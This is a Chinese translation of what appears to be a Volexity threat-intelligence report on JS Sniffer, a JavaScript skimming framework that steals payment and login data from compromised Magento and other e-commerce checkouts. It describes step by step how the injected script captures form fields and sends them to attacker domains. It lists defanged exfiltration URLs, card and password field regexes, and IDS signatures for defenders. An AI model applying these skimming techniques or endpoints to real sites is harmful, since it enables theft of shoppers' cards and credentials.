导语:2017年底,网络安全公司Volexity开始跟踪一个名为JS Sniffer的新型电子商务金融数据窃取框架。该框架为攻击者提供了一种快速有效的方式,可以从受攻击的电子商务网站窃取数据。

2017年底,网络安全公司Volexity开始跟踪一个名为JS Sniffer的新型电子商务金融数据窃取框架。该框架为攻击者提供了一种快速有效的方式,可以从受攻击的电子商务网站窃取数据。JS Sniffer经过优化,可以从运行Magento(一套专业开源的电子商务系统)电子商务平台的受感染网站窃取数据。但是,Volexity在这些受感染的电子商务网站上还观察到了利用OpenCart,Dealer.com,Shopify,WordPress等软件的框架。不过,Volexity通过对一个在线门票销售网站上所发生的高度针对性攻击活动进行研究后,最终确定了盗取电子商务数据的框架。

Volexity所研究的这家在线门票销售网站在销售2017新年活动门票的时候,其网站的结帐页面已被修改,页面包含窃取所输入信息的恶意代码,例如姓名、地址、信用卡数据甚至登录凭证。整个过程是通过使用嵌入式JavaScript完成的,收集用户表单的选择和条目,将其编码为base64格式,并通过HTTP GET请求将数据发送到攻击者控制的域,该请求包含URI参数中的base64数据。一旦攻击者收到base64数据,JS Sniffer就会将这些数据解析为特定的字段,并将其存储在后端SQL数据库中。下图就是JS Sniffer对受感染的电子商务网站进行数据窃取的过程:

1.jpg

对于那些被入侵的票务网站,Volexity观察了两个版本的攻击活动。第一个是直接访问IP地址,不使用SSL。而第二个则利用了一个域名,使用该域名的目的是用来混淆受害者的域名并使用SSL。Volexity观察到的JS Sniffer URL样本如下所示:

hxxp://94.249.236.106/zfhdsofsdfnfdsfsdmfsdo/gate.php?image_id=
WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
hxxps://captcha-securitytickets.net/
captchaProtectionMonitor/captcha.php?image_id=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==

最初,Volexity认为就像过去几年中看到的许多其他活动一样,这可能是某个攻击者的一次性数据盗窃活动。然而,在接下来的几个月里,Volexity又连续发现了几个具有JS Sniffer框架的其他攻击案例,它们似乎是由许多不同的攻击者分别执行的。在观察到的每个案例中,JS Sniffer都会被用于拦截来自各种电子商务网站的客户数据。分析表明,JS Sniffer主要针对运行Magento CMS平台的网店。但是,该框架中的选项可以针对其它CMS平台。以下是在最近的活动中观察到的一些其它被攻击的url样本:

hxxps://google-analytisc.com/ga.php?analytic=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==
hxxp://googles-contents.com/gate.php?image_id=WyJ1cmwlY29tcHJvbWlzZWRfZG9tYWluLmNvbSIsIlNlbnNpdGl2ZSBkYXRhIGhlcmUiXQ==

攻击者将恶意JS Sniffer代码插入受感染网站的基础架构和方法各不相同,在某些情况下,恶意JavaScript会直接被添加到主站点索引中,而在其它情况下,恶意代码则会被附加到受感染网站使用的合法JavaScript中。通过不同的注入位置、基础设施、观察到的文件路径、URI参数和web服务器配置。Volexity认为利用JS Sniffer的态势已经形成,且使用人数众多。

恶意的JavaScript注入

使用JS Sniffer进行的攻击会要求恶意JavaScript代码从受攻击的网站加载,以便拦截和虹吸用户输入的数据。截止目前,Volexity观察到攻击者总共利用了两种方法来加载恶意JS Sniffer代码。第一种方法是将恶意JavaScript全部直接放在受感染的站点上。第二种方法是将JS Sniffer JavaScript托管在攻击者控制的服务器上的文件中,然后从受感染的网站加载该文件。目前第二种方法已经使用了旨在模仿Google Analytics的域和脚本。下面,我将介绍攻击者使用这两种方法的具体样本和过程。

方法1:从受攻击的网站加载JS Sniffer JavaScript

以下脚本是在受感染的电子商务网站上观察到的。它被发现在网站使用的合法JavaScript文件的中间,旨在融入代码,而不是恶意的。在这个样本中,JS Sniffer接收器的URL在脚本中经过base64处理,被编码为aHR0cHM6Ly9hbm9uaW1vdXNhbGwueHl6L2dhdGUucGhw(https://anonimousall.xyz/gate.php)。而早期版本的JS Sniffer JavaScript代码是不会混淆域的,由此推断,这似乎是对JS Sniffer的修改,以使恶意代码更加隐秘。

4.png

JS Sniffer JavaScript通常会执行以下操作:

1.查找发生在以下元素中的onchange事件并捕获元素值:

<input>
<select>
<textarea>

2.每隔1.5秒调用负责检查以上元素值修改的函数;

3.捕获受攻击URL的当前主机名,以便跟踪数据的来源;

4.使用JSON.stringify()方法将捕获的元素值转换为JSON格式;

5.Base64使用btoa()方法对元素值进行编码;

6.创建一个拥有一个像素宽度和高度的像素,并将以下值指定为源:

6.1使用了atob()方法或明文形式的恶意URL的base64编码版本;

6.2将“?image_id=”添加到URL的URI字符串;

6.3将捕获的由base64编码的数据添加到URL中;

方法2:从外部攻击者控制的网站加载JS Sniffer JavaScript

下面的脚本是在一个被攻击的电子商务网站上看到的,此攻击中利用的代码和域旨在与网站的其他正常功能混淆在一起,从而将自身伪装成与Google Analytics相关的功能。

5.png

然而,实际上,该脚本会从攻击者控制的服务器加载恶意JS Sniffer代码(ga.js)。 ga.js的内容相当冗长,因此本文不会详细讲。该代码主要执行与上述方法1中类似功能。

用户数据如何被截取

此脚本的目的是捕获所有用户输入的值,将数据编码为base64格式,并在HTTP GET请求的查询字符串中将其发送回恶意服务器。在捕获的样本数据中,包含了用户添加到购物车的产品,在网站登入时输入的凭证,付款和运输信息等。且大多数连接似乎都是通过HTTPS进行的,不过有些恶意数据是通过HTTP传输的情况。下面是一个HTTP请求样本,其中来自受感染网站的数据被发送回JS Sniffer接收器。为了便于阅读,我只截取了部分base64字符串。

6.png

可以看出,在image_id参数中发送的数据会通过base64格式解码,这样攻击者就可以利用JS Sniffer在受感染网站的结账和支付过程中窃取大量数据。以下是一个样本片段:

“[\”url%CompromisedDomain.com\”, \”type%2\”, \”q%Search entire store here…\”, \”checkout_method%guest\”, \”checkout_method%register\”,
\”billing[firstname]%John\”, \”billing[lastname]%Doe\”, \”billing[company]%CompanyNameHere\”, \”billing%[email protected]\”, \”billing[street][]%1234 My Address\”, \”billing[city]%MyCity\”, \”billing[postcode]%12345\”, \”billing[telephone]%1231232223\”, \”billing[save_in_address_book]%1\”, \”billing[use_for_shipping]%1\”, \”billing[use_for_shipping]%0\”, \”shipping[firstname]%John\”, \”shipping[lastname]%Doe\”, \”shipping[company]%MyCompany\”, \”shipping[street][]%1234 My Address\”, \”shipping[city]%MyCity\”, \”shipping[postcode]%12345\”, \”shipping[telephone]%1231232223\”, \”shipping[save_in_address_book]%1\”, \”shipping[same_as_billing]%1\”, \”shipping_method%flatrate_flatrate\”, \”payment[method]%ccsave\”, \”payment[cc_owner]%John Doe\”, \”payment[cc_number]%12341244124242311\”, \”payment[cc_cid]%123\”, \”payment[method]%checkmo\”, \”billing[region_id]%Alabama\”, \”billing[country_id]%US\”, \”shipping[region_id]%Alabama\”, \”shipping[country_id]%US\”, \”payment[cc_type]%VI\”, \”payment[cc_exp_month]%2\”, \”payment[cc_exp_year]%2018\”]”

所有被盗的字段都被选为JS Sniffer配置的一部分,如前所述,选择用于虹吸的字段是可配置的。攻击者可以调整JS Sniffer JavaScript以从新的或其他自定义的购物车页面中窃取数据。

JS Sniffer基础设施

Volexity的研究表明,被分析的网站中有70%运行Magento CMS平台,其中许多都包含严重的且未修补的漏洞。使用JS Sniffer的攻击者可能是个机会主义者,他们利用旧的漏洞,而不是利用未知的漏洞来加载此代码。

Volexity能够获得JS Sniffer框架的副本,且目前攻击者使用的JS Sniffer版本为3.3,这表明在此之前,此攻击就已经进行了几次迭代。这大概就是研究人员在不同的受攻击网站上,会发现具有不同差异JS Sniffer代码的原因。整个代码中的注释以及包含的README.txt文件都是俄语,这些都表明此攻击的幕后开发者和目标在俄语地区。以下是里面的注释片段:

===The product is designed for pentest local servers. Before using, make sure the legality of your actions. In violation of the law of any country, all responsibility lies with the user
PROMOTED:
Active dialogue with the author of the product.Proposals for development.Detailed description of the problems of the product and errors.Reasonable criticism and adequate behavior of the buyer when solving possible problems.
PROHIBITED: (violation of the rules leads to a fine in the amount of the cost of software and the deprivation of the license):
Distribute the product to third parties without the consent of the author.Lease without agreement with the author.Aggressive behavior in personal and public contact with the author in the Internet.Groundless claims of problems with work/functionality.===

如上所示,开发者试图将JS Sniffer描述为用于在局部网络上执行渗透测试的工具套件。但是,JS Sniffer的唯一目的似乎就是信息窃取,而不是评估组织的安全状况和漏洞区域,这使得该框架不太可能用于除犯罪行为之外的任何其他非恶意目的。对于违反使用目的的人,开发者还提及了吊销许可证。不过在Volexity看来,吊销许可证纯属开发者设置的伪装幌子。

此外,自述文件还包括有关配置和设置JS Sniffer的四个简单步骤的说明,其中设置框架的过程快速而简单,其中包含的多个测试文件都是用来自动验证配置是否设置正确,以保证对用户数据的拦截,JS Sniffer的默认凭据被设置为admin:admin。

配置完成后,就可以可以通过web界面访问JS Sniffer,该界面似乎是Revox提供的UI框架页面的定制版本。JS Sniffer的登录页面如下所示:

9.png

JS Sniffer的登录页面

登录后,面板中的主仪表板页面将显示有关被窃取的信用卡数量的统计信息,以及被盗数据的具体所在网站。

10.png

JS Sniffer管理面板中的默认统计页面

JS Sniffer还附带了一个用于生成恶意JavaScript的面板,以方便将恶意代码添加到受感染的网站上。攻击者只需输入要发送被盗数据的URL,并根据需要指定要使用的任何自定义正则表达式。然后,JS Sniffer会将这些值添加到脚本中,该脚本可以复制并粘贴到受攻击的网站。

11.png

JS Sniffer管理面板中的JavaScript生成器

使用phpMyAdmin生成的名为sniff_updated的SQL数据库转储,会被用于导入那些存储了大量被盗数据的表。这个转储数据库包含四个表,分别是cc,export_templates,系统日志和用户。 Volexity从JS Sniffer攻击的许多不同样本中都发现了具有相同功能的初始SQL文件,而这些样本则被认为是由不同的攻击者创建的,所以这表明该数据库是JS Sniffer的最底层设计。下面就是为转储提供的SQL文件的标头:

— phpMyAdmin SQL Dump— version 4.7.7— https://www.phpmyadmin.net/—— Хост: localhost— Время создания: Фев 04 2018 г., 01:17— Версия сервера: 5.7.20-0ubuntu0.16.04.1— Версия PHP: 7.1.10-1+ubuntu16.04.1+deb.sury.org+1
SET SQL_MODE = “NO_AUTO_VALUE_ON_ZERO”;SET AUTOCOMMIT = 0;START TRANSACTION;SET time_zone = “+00:00”;
/*!40101 SET @[email protected]@CHARACTER_SET_CLIENT */;/*!40101 SET @[email protected]@CHARACTER_SET_RESULTS */;/*!40101 SET @[email protected]@COLLATION_CONNECTION */;/*!40101 SET NAMES utf8mb4 */;
—— База данных: `sniff_updated`—

数据库中最值得注意的部分是cc表,它存储了攻击者从受感染网站窃取的所有截获数据。下图就是cc表的视图:

13.png

SQL表“cc”,用于存储支付数据

需要强调的是,尽管包含了一些内容,但管理面板确实包含添加或修改某些正则表达式的选项,以便从受感染网站上的非标准字段中解析数据。JS Sniffer包含几个不同目标字段的正则表达式文件,如下所示。

14.png

JS Sniffer正则表达式

大多数正则表达式是一个相当简单的可能字段名称列表,比如在cc regexp中看到的字段名:

number|numero|card|ccno|ccnum|cc_number|cnum

其他的,例如密码regexp,则会有其他的标准来限制可能的字段匹配:

passwd|password|(^pwd$)

签名

以下入侵检测系统签名可用于查找JS Sniffer信标。

Suricata:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Volexity – JS Sniffer Data Theft Beacon Detected”; flow:established,to_server; content:”.php?”; http_uri; content:”=WyJ1cmw”; http_uri; sid:2018061501;)

Snort:

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:”Volexity – JS Sniffer Data Theft Beacon Detected”; flow:established,to_server; content:”.php?”; http_uri; content:”=WyJ1cmw”; http_uri; sid:2018061501;)

网络指标

19.jpg

缓解措施

在线购物最大的好处就是方便快捷,但是,在某些情况下,网络安全性可能是在线零售商的软肋。目前,Volexity已经联系了多个受到攻击的电子商务网站的运营商,告知他们的网站被攻击了以及如何查找违规代码。不幸的是,在发稿时,恶意JS Sniffer代码仍然保留在这些网站上。对此,Volexity会建议用户利用NoScript或uBlock等浏览器插件获得更严格的安全保证,允许网站将脚本加载到浏览器中。

总结

这个新发现的攻击框架虽然相对简单,却为攻击者提供了一个额外的数据窃取手段。攻击者只需使用嵌入或链接恶意JavaScript的网站,再从后端服务器接收截获的数据即可,因此我们很可能会继续看到利用这个框架而导致的信息和信用卡失窃的事情发生。volexon认为,由于恶意开发者可能只会向某些特定的攻击者进行销售使用,所以和JS Sniffer相关的信息有限。通过详细的设置框架说明和直观的界面,JS Sniffer为攻击者提供了一种查看被盗数据并与之交互的简便方法,Volexity建议用户在可用的Web日志中搜索上面提到的恶意指标以防止诸如本文中所述的攻击。

源链接

Hacking more

...